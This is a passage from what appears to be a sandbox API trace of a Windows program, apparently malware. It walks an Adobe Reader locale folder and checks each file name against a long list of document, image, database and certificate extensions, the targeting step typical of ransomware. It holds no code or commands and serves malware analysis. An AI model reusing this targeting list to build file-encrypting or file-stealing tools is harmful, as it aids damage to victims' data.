dwFlags=0x0, lpMem=0x5380058 | out: hHeap=0x790000) returned 1 [0047.754] FindNextFileW (in: hFindFile=0x7cbad0, lpFindFileData=0x45ff094 | out: lpFindFileData=0x45ff094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1 [0047.758] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW") returned 60 [0047.758] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\zh_TW\\*", lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7cb910 [0047.764] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d618a80, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.764] FindNextFileW (in: hFindFile=0x7cb910, lpFindFileData=0x45fee18 | out: lpFindFileData=0x45fee18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CHT", cAlternateFileName="ACCESS~1.CHT")) returned 1 [0047.764] lstrlenW (lpString="accessibility.CHT") returned 17 [0047.764] lstrlenW (lpString=".1cd") returned 4 [0047.764] lstrcmpiW (lpString1=".1cd", lpString2=".CHT") returned -1 [0047.764] lstrlenW (lpString=".3ds") returned 4 [0047.764] lstrcmpiW (lpString1=".3ds", lpString2=".CHT") returned -1 [0047.764] lstrlenW (lpString=".3fr") returned 4 [0047.764] lstrcmpiW (lpString1=".3fr", lpString2=".CHT") returned -1 [0047.764] lstrlenW (lpString=".3g2") returned 4 [0047.764] lstrcmpiW (lpString1=".3g2", lpString2=".CHT") returned -1 [0047.764] lstrlenW (lpString=".3gp") returned 4 [0047.764] lstrcmpiW (lpString1=".3gp", lpString2=".CHT") returned -1 [0047.764] lstrlenW (lpString=".7z") returned 3 [0047.764] lstrcmpiW (lpString1=".7z", lpString2="CHT") returned -1 [0047.764] lstrlenW (lpString=".accda") returned 6 [0047.764] lstrcmpiW (lpString1=".accda", lpString2="ty.CHT") returned -1 [0047.764] lstrlenW (lpString=".accdb") returned 6 [0047.764] lstrcmpiW (lpString1=".accdb", lpString2="ty.CHT") returned -1 [0047.764] lstrlenW (lpString=".accdc") returned 6 [0047.764] lstrcmpiW (lpString1=".accdc", lpString2="ty.CHT") returned -1 [0047.765] lstrlenW (lpString=".accde") returned 6 [0047.765] lstrcmpiW (lpString1=".accde", lpString2="ty.CHT") returned -1 [0047.765] lstrlenW (lpString=".accdt") returned 6 [0047.765] lstrcmpiW (lpString1=".accdt", lpString2="ty.CHT") returned -1 [0047.765] lstrlenW (lpString=".accdw") returned 6 [0047.765] lstrcmpiW (lpString1=".accdw", lpString2="ty.CHT") returned -1 [0047.765] lstrlenW (lpString=".adb") returned 4 [0047.765] lstrcmpiW (lpString1=".adb", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".adp") returned 4 [0047.765] lstrcmpiW (lpString1=".adp", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai") returned 3 [0047.765] lstrcmpiW (lpString1=".ai", lpString2="CHT") returned -1 [0047.765] lstrlenW (lpString=".ai3") returned 4 [0047.765] lstrcmpiW (lpString1=".ai3", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai4") returned 4 [0047.765] lstrcmpiW (lpString1=".ai4", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai5") returned 4 [0047.765] lstrcmpiW (lpString1=".ai5", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai6") returned 4 [0047.765] lstrcmpiW (lpString1=".ai6", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai7") returned 4 [0047.765] lstrcmpiW (lpString1=".ai7", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".ai8") returned 4 [0047.765] lstrcmpiW (lpString1=".ai8", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".anim") returned 5 [0047.765] lstrcmpiW (lpString1=".anim", lpString2="y.CHT") returned -1 [0047.765] lstrlenW (lpString=".arw") returned 4 [0047.765] lstrcmpiW (lpString1=".arw", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".as") returned 3 [0047.765] lstrcmpiW (lpString1=".as", lpString2="CHT") returned -1 [0047.765] lstrlenW (lpString=".asa") returned 4 [0047.765] lstrcmpiW (lpString1=".asa", lpString2=".CHT") returned -1 [0047.765] lstrlenW (lpString=".asc") returned 4 [0047.766] lstrcmpiW (lpString1=".asc", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".ascx") returned 5 [0047.766] lstrcmpiW (lpString1=".ascx", lpString2="y.CHT") returned -1 [0047.766] lstrlenW (lpString=".asm") returned 4 [0047.766] lstrcmpiW (lpString1=".asm", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".asmx") returned 5 [0047.766] lstrcmpiW (lpString1=".asmx", lpString2="y.CHT") returned -1 [0047.766] lstrlenW (lpString=".asp") returned 4 [0047.766] lstrcmpiW (lpString1=".asp", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".aspx") returned 5 [0047.766] lstrcmpiW (lpString1=".aspx", lpString2="y.CHT") returned -1 [0047.766] lstrlenW (lpString=".asr") returned 4 [0047.766] lstrcmpiW (lpString1=".asr", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".asx") returned 4 [0047.766] lstrcmpiW (lpString1=".asx", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".avi") returned 4 [0047.766] lstrcmpiW (lpString1=".avi", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".avs") returned 4 [0047.766] lstrcmpiW (lpString1=".avs", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".backup") returned 7 [0047.766] lstrcmpiW (lpString1=".backup", lpString2="ity.CHT") returned -1 [0047.766] lstrlenW (lpString=".bak") returned 4 [0047.766] lstrcmpiW (lpString1=".bak", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".bay") returned 4 [0047.766] lstrcmpiW (lpString1=".bay", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".bd") returned 3 [0047.766] lstrcmpiW (lpString1=".bd", lpString2="CHT") returned -1 [0047.766] lstrlenW (lpString=".bin") returned 4 [0047.766] lstrcmpiW (lpString1=".bin", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".bmp") returned 4 [0047.766] lstrcmpiW (lpString1=".bmp", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".bz2") returned 4 [0047.766] lstrcmpiW (lpString1=".bz2", lpString2=".CHT") returned -1 [0047.766] lstrlenW (lpString=".c") returned 2 [0047.767] lstrcmpiW (lpString1=".c", lpString2="HT") returned -1 [0047.767] lstrlenW (lpString=".cdr") returned 4 [0047.767] lstrcmpiW (lpString1=".cdr", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".cer") returned 4 [0047.767] lstrcmpiW (lpString1=".cer", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".cf") returned 3 [0047.767] lstrcmpiW (lpString1=".cf", lpString2="CHT") returned -1 [0047.767] lstrlenW (lpString=".cfc") returned 4 [0047.767] lstrcmpiW (lpString1=".cfc", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".cfm") returned 4 [0047.767] lstrcmpiW (lpString1=".cfm", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".cfml") returned 5 [0047.767] lstrcmpiW (lpString1=".cfml", lpString2="y.CHT") returned -1 [0047.767] lstrlenW (lpString=".cfu") returned 4 [0047.767] lstrcmpiW (lpString1=".cfu", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".chm") returned 4 [0047.767] lstrcmpiW (lpString1=".chm", lpString2=".CHT") returned -1 [0047.767] lstrlenW (lpString=".cin") returned 4 [0047.767] lstrcmpiW (lpString1=".cin", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".class") returned 6 [0047.767] lstrcmpiW (lpString1=".class", lpString2="ty.CHT") returned -1 [0047.767] lstrlenW (lpString=".clx") returned 4 [0047.767] lstrcmpiW (lpString1=".clx", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".config") returned 7 [0047.767] lstrcmpiW (lpString1=".config", lpString2="ity.CHT") returned -1 [0047.767] lstrlenW (lpString=".cpp") returned 4 [0047.767] lstrcmpiW (lpString1=".cpp", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".cr2") returned 4 [0047.767] lstrcmpiW (lpString1=".cr2", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".crt") returned 4 [0047.767] lstrcmpiW (lpString1=".crt", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".crw") returned 4 [0047.767] lstrcmpiW (lpString1=".crw", lpString2=".CHT") returned 1 [0047.767] lstrlenW (lpString=".cs") returned 3 [0047.767] lstrcmpiW (lpString1=".cs", lpString2="CHT") returned -1 [0047.768] lstrlenW (lpString=".css") returned 4 [0047.768] lstrcmpiW (lpString1=".css", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".csv") returned 4 [0047.768] lstrcmpiW (lpString1=".csv", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".cub") returned 4 [0047.768] lstrcmpiW (lpString1=".cub", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dae") returned 4 [0047.768] lstrcmpiW (lpString1=".dae", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dat") returned 4 [0047.768] lstrcmpiW (lpString1=".dat", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".db") returned 3 [0047.768] lstrcmpiW (lpString1=".db", lpString2="CHT") returned -1 [0047.768] lstrlenW (lpString=".dbf") returned 4 [0047.768] lstrcmpiW (lpString1=".dbf", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dbx") returned 4 [0047.768] lstrcmpiW (lpString1=".dbx", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dc3") returned 4 [0047.768] lstrcmpiW (lpString1=".dc3", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dcm") returned 4 [0047.768] lstrcmpiW (lpString1=".dcm", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dcr") returned 4 [0047.768] lstrcmpiW (lpString1=".dcr", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".der") returned 4 [0047.768] lstrcmpiW (lpString1=".der", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dib") returned 4 [0047.768] lstrcmpiW (lpString1=".dib", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dic") returned 4 [0047.768] lstrcmpiW (lpString1=".dic", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".dif") returned 4 [0047.768] lstrcmpiW (lpString1=".dif", lpString2=".CHT") returned 1 [0047.768] lstrlenW (lpString=".divx") returned 5 [0047.768] lstrcmpiW (lpString1=".divx", lpString2="y.CHT") returned -1 [0047.768] lstrlenW (lpString=".djvu") returned 5 [0047.768] lstrcmpiW (lpString1=".djvu", lpString2="y.CHT") returned -1 [0047.769] lstrlenW (lpString=".dng") returned 4 [0047.769] lstrcmpiW (lpString1=".dng", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".doc") returned 4 [0047.769] lstrcmpiW (lpString1=".doc", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".docm") returned 5 [0047.769] lstrcmpiW (lpString1=".docm", lpString2="y.CHT") returned -1 [0047.769] lstrlenW (lpString=".docx") returned 5 [0047.769] lstrcmpiW (lpString1=".docx", lpString2="y.CHT") returned -1 [0047.769] lstrlenW (lpString=".dot") returned 4 [0047.769] lstrcmpiW (lpString1=".dot", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dotm") returned 5 [0047.769] lstrcmpiW (lpString1=".dotm", lpString2="y.CHT") returned -1 [0047.769] lstrlenW (lpString=".dotx") returned 5 [0047.769] lstrcmpiW (lpString1=".dotx", lpString2="y.CHT") returned -1 [0047.769] lstrlenW (lpString=".dpx") returned 4 [0047.769] lstrcmpiW (lpString1=".dpx", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dqy") returned 4 [0047.769] lstrcmpiW (lpString1=".dqy", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dsn") returned 4 [0047.769] lstrcmpiW (lpString1=".dsn", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dt") returned 3 [0047.769] lstrcmpiW (lpString1=".dt", lpString2="CHT") returned -1 [0047.769] lstrlenW (lpString=".dtd") returned 4 [0047.769] lstrcmpiW (lpString1=".dtd", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dwg") returned 4 [0047.769] lstrcmpiW (lpString1=".dwg", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dwt") returned 4 [0047.769] lstrcmpiW (lpString1=".dwt", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".dx") returned 3 [0047.769] lstrcmpiW (lpString1=".dx", lpString2="CHT") returned -1 [0047.769] lstrlenW (lpString=".dxf") returned 4 [0047.769] lstrcmpiW (lpString1=".dxf", lpString2=".CHT") returned 1 [0047.769] lstrlenW (lpString=".edml") returned 5 [0047.769] lstrcmpiW (lpString1=".edml", lpString2="y.CHT") returned -1 [0047.770] lstrlenW (lpString=".efd") returned 4 [0047.770] lstrcmpiW (lpString1=".efd", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".elf") returned 4 [0047.770] lstrcmpiW (lpString1=".elf", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".emf") returned 4 [0047.770] lstrcmpiW (lpString1=".emf", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".emz") returned 4 [0047.770] lstrcmpiW (lpString1=".emz", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".epf") returned 4 [0047.770] lstrcmpiW (lpString1=".epf", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".eps") returned 4 [0047.770] lstrcmpiW (lpString1=".eps", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".epsf") returned 5 [0047.770] lstrcmpiW (lpString1=".epsf", lpString2="y.CHT") returned -1 [0047.770] lstrlenW (lpString=".epsp") returned 5 [0047.770] lstrcmpiW (lpString1=".epsp", lpString2="y.CHT") returned -1 [0047.770] lstrlenW (lpString=".erf") returned 4 [0047.770] lstrcmpiW (lpString1=".erf", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".exr") returned 4 [0047.770] lstrcmpiW (lpString1=".exr", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".f4v") returned 4 [0047.770] lstrcmpiW (lpString1=".f4v", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".fido") returned 5 [0047.770] lstrcmpiW (lpString1=".fido", lpString2="y.CHT") returned -1 [0047.770] lstrlenW (lpString=".flm") returned 4 [0047.770] lstrcmpiW (lpString1=".flm", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".flv") returned 4 [0047.770] lstrcmpiW (lpString1=".flv", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".frm") returned 4 [0047.770] lstrcmpiW (lpString1=".frm", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".fxg") returned 4 [0047.770] lstrcmpiW (lpString1=".fxg", lpString2=".CHT") returned 1 [0047.770] lstrlenW (lpString=".geo") returned 4 [0047.771] lstrcmpiW (lpString1=".geo", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".gif") returned 4 [0047.771] lstrcmpiW (lpString1=".gif", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".grs") returned 4 [0047.771] lstrcmpiW (lpString1=".grs", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".gz") returned 3 [0047.771] lstrcmpiW (lpString1=".gz", lpString2="CHT") returned -1 [0047.771] lstrlenW (lpString=".h") returned 2 [0047.771] lstrcmpiW (lpString1=".h", lpString2="HT") returned -1 [0047.771] lstrlenW (lpString=".hdr") returned 4 [0047.771] lstrcmpiW (lpString1=".hdr", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".hpp") returned 4 [0047.771] lstrcmpiW (lpString1=".hpp", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".hta") returned 4 [0047.771] lstrcmpiW (lpString1=".hta", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".htc") returned 4 [0047.771] lstrcmpiW (lpString1=".htc", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".htm") returned 4 [0047.771] lstrcmpiW (lpString1=".htm", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".html") returned 5 [0047.771] lstrcmpiW (lpString1=".html", lpString2="y.CHT") returned -1 [0047.771] lstrlenW (lpString=".icb") returned 4 [0047.771] lstrcmpiW (lpString1=".icb", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".ics") returned 4 [0047.771] lstrcmpiW (lpString1=".ics", lpString2=".CHT") returned 1 [0047.771] lstrlenW (lpString=".iff") returned 4 [0047.772] lstrcmpiW (lpString1=".iff", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".inc") returned 4 [0047.772] lstrcmpiW (lpString1=".inc", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".indd") returned 5 [0047.772] lstrcmpiW (lpString1=".indd", lpString2="y.CHT") returned -1 [0047.772] lstrlenW (lpString=".ini") returned 4 [0047.772] lstrcmpiW (lpString1=".ini", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".iqy") returned 4 [0047.772] lstrcmpiW (lpString1=".iqy", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".j2c") returned 4 [0047.772] lstrcmpiW (lpString1=".j2c", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".j2k") returned 4 [0047.772] lstrcmpiW (lpString1=".j2k", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".java") returned 5 [0047.772] lstrcmpiW (lpString1=".java", lpString2="y.CHT") returned -1 [0047.772] lstrlenW (lpString=".jp2") returned 4 [0047.772] lstrcmpiW (lpString1=".jp2", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".jpc") returned 4 [0047.772] lstrcmpiW (lpString1=".jpc", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".jpe") returned 4 [0047.772] lstrcmpiW (lpString1=".jpe", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".jpeg") returned 5 [0047.772] lstrcmpiW (lpString1=".jpeg", lpString2="y.CHT") returned -1 [0047.772] lstrlenW (lpString=".jpf") returned 4 [0047.772] lstrcmpiW (lpString1=".jpf", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".jpg") returned 4 [0047.772] lstrcmpiW (lpString1=".jpg", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".jpx") returned 4 [0047.772] lstrcmpiW (lpString1=".jpx", lpString2=".CHT") returned 1 [0047.772] lstrlenW (lpString=".js") returned 3 [0047.772] lstrcmpiW (lpString1=".js", lpString2="CHT") returned -1 [0047.772] lstrlenW (lpString=".jsf") returned 4 [0047.772] lstrcmpiW (lpString1=".jsf", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".json") returned 5 [0047.773] lstrcmpiW (lpString1=".json", lpString2="y.CHT") returned -1 [0047.773] lstrlenW (lpString=".jsp") returned 4 [0047.773] lstrcmpiW (lpString1=".jsp", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".kdc") returned 4 [0047.773] lstrcmpiW (lpString1=".kdc", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".kmz") returned 4 [0047.773] lstrcmpiW (lpString1=".kmz", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".kwm") returned 4 [0047.773] lstrcmpiW (lpString1=".kwm", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".lasso") returned 6 [0047.773] lstrcmpiW (lpString1=".lasso", lpString2="ty.CHT") returned -1 [0047.773] lstrlenW (lpString=".lbi") returned 4 [0047.773] lstrcmpiW (lpString1=".lbi", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".lgf") returned 4 [0047.773] lstrcmpiW (lpString1=".lgf", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".lgp") returned 4 [0047.773] lstrcmpiW (lpString1=".lgp", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".log") returned 4 [0047.773] lstrcmpiW (lpString1=".log", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".m1v") returned 4 [0047.773] lstrcmpiW (lpString1=".m1v", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".m4a") returned 4 [0047.773] lstrcmpiW (lpString1=".m4a", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".m4v") returned 4 [0047.773] lstrcmpiW (lpString1=".m4v", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".max") returned 4 [0047.773] lstrcmpiW (lpString1=".max", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".md") returned 3 [0047.773] lstrcmpiW (lpString1=".md", lpString2="CHT") returned -1 [0047.773] lstrlenW (lpString=".mda") returned 4 [0047.773] lstrcmpiW (lpString1=".mda", lpString2=".CHT") returned 1 [0047.773] lstrlenW (lpString=".mdb") returned 4 [0047.773] lstrcmpiW (lpString1=".mdb", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mde") returned 4 [0047.774] lstrcmpiW (lpString1=".mde", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mdf") returned 4 [0047.774] lstrcmpiW (lpString1=".mdf", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mdw") returned 4 [0047.774] lstrcmpiW (lpString1=".mdw", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mef") returned 4 [0047.774] lstrcmpiW (lpString1=".mef", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mft") returned 4 [0047.774] lstrcmpiW (lpString1=".mft", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mfw") returned 4 [0047.774] lstrcmpiW (lpString1=".mfw", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mht") returned 4 [0047.774] lstrcmpiW (lpString1=".mht", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mhtml") returned 6 [0047.774] lstrcmpiW (lpString1=".mhtml", lpString2="ty.CHT") returned -1 [0047.774] lstrlenW (lpString=".mka") returned 4 [0047.774] lstrcmpiW (lpString1=".mka", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mkidx") returned 6 [0047.774] lstrcmpiW (lpString1=".mkidx", lpString2="ty.CHT") returned -1 [0047.774] lstrlenW (lpString=".mkv") returned 4 [0047.774] lstrcmpiW (lpString1=".mkv", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mos") returned 4 [0047.774] lstrcmpiW (lpString1=".mos", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mov") returned 4 [0047.774] lstrcmpiW (lpString1=".mov", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mp3") returned 4 [0047.774] lstrcmpiW (lpString1=".mp3", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mp4") returned 4 [0047.774] lstrcmpiW (lpString1=".mp4", lpString2=".CHT") returned 1 [0047.774] lstrlenW (lpString=".mpeg") returned 5 [0047.774] lstrcmpiW (lpString1=".mpeg", lpString2="y.CHT") returned -1 [0047.774] lstrlenW (lpString=".mpg") returned 4 [0047.775] lstrcmpiW (lpString1=".mpg", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".mpv") returned 4 [0047.775] lstrcmpiW (lpString1=".mpv", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".mrw") returned 4 [0047.775] lstrcmpiW (lpString1=".mrw", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".msg") returned 4 [0047.775] lstrcmpiW (lpString1=".msg", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".mxl") returned 4 [0047.775] lstrcmpiW (lpString1=".mxl", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".myd") returned 4 [0047.775] lstrcmpiW (lpString1=".myd", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".myi") returned 4 [0047.775] lstrcmpiW (lpString1=".myi", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".nef") returned 4 [0047.775] lstrcmpiW (lpString1=".nef", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".nrw") returned 4 [0047.775] lstrcmpiW (lpString1=".nrw", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".obj") returned 4 [0047.775] lstrcmpiW (lpString1=".obj", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".odb") returned 4 [0047.775] lstrcmpiW (lpString1=".odb", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".odc") returned 4 [0047.775] lstrcmpiW (lpString1=".odc", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".odm") returned 4 [0047.775] lstrcmpiW (lpString1=".odm", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".odp") returned 4 [0047.775] lstrcmpiW (lpString1=".odp", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".ods") returned 4 [0047.775] lstrcmpiW (lpString1=".ods", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".oft") returned 4 [0047.775] lstrcmpiW (lpString1=".oft", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".one") returned 4 [0047.775] lstrcmpiW (lpString1=".one", lpString2=".CHT") returned 1 [0047.775] lstrlenW (lpString=".onepkg") returned 7 [0047.775] lstrcmpiW (lpString1=".onepkg", lpString2="ity.CHT") returned -1 [0047.776] lstrlenW (lpString=".onetoc2") returned 8 [0047.776] lstrcmpiW (lpString1=".onetoc2", lpString2="lity.CHT") returned -1 [0047.776] lstrlenW (lpString=".opt") returned 4 [0047.776] lstrcmpiW (lpString1=".opt", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".oqy") returned 4 [0047.776] lstrcmpiW (lpString1=".oqy", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".orf") returned 4 [0047.776] lstrcmpiW (lpString1=".orf", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".p12") returned 4 [0047.776] lstrcmpiW (lpString1=".p12", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".p7b") returned 4 [0047.776] lstrcmpiW (lpString1=".p7b", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".p7c") returned 4 [0047.776] lstrcmpiW (lpString1=".p7c", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pam") returned 4 [0047.776] lstrcmpiW (lpString1=".pam", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pbm") returned 4 [0047.776] lstrcmpiW (lpString1=".pbm", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pct") returned 4 [0047.776] lstrcmpiW (lpString1=".pct", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pcx") returned 4 [0047.776] lstrcmpiW (lpString1=".pcx", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pdd") returned 4 [0047.776] lstrcmpiW (lpString1=".pdd", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pdf") returned 4 [0047.776] lstrcmpiW (lpString1=".pdf", lpString2=".CHT") returned 1 [0047.776] lstrlenW (lpString=".pdp") returned 4 [0047.776] lstrcmpiW (lpString1=".pdp", lpString2=".CHT") returned 1 [0047.776] lstrlenW 